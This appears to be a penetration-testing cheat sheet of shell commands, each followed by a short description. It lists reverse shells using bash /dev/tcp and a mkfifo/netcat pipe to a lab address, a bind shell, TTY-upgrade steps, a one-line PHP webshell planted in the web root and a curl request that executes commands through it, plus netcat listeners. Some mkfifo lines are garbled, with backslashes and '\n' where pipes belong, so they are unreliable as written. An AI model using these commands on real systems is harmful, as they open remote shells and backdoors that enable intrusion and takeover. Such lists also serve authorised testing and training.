bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'
Send a reverse shell from the remote server

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f\/bin/sh -i 2>&1\nc 10.10.10.10 1234 >/tmp/f
Another command to send a reverse shell from the remote server

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f\/bin/bash -i 2>&1\nc -lvp 1234 >/tmp/f
Start a bind shell on the remote server

python -c 'import pty; pty.spawn("/bin/bash")'
Upgrade shell TTY (1)

ctrl+z then stty raw -echo then fg then enter twice Upgrade shell TTY (2)

echo "<?php system(\$_GET['cmd']);?>" > /var/www/html/shell.php Create a webshell php file

curl http://SERVER_IP:PORT/shell.php?cmd=id Execute a command on an uploaded webshell

python -c ‘import pty;pty.spawn(“/bin/bash”)’

netcat

nc -lvnp 1234 Start a nc listener on a local port nc 10.10.10.1 1234 Connect to a bind shell started on the remote server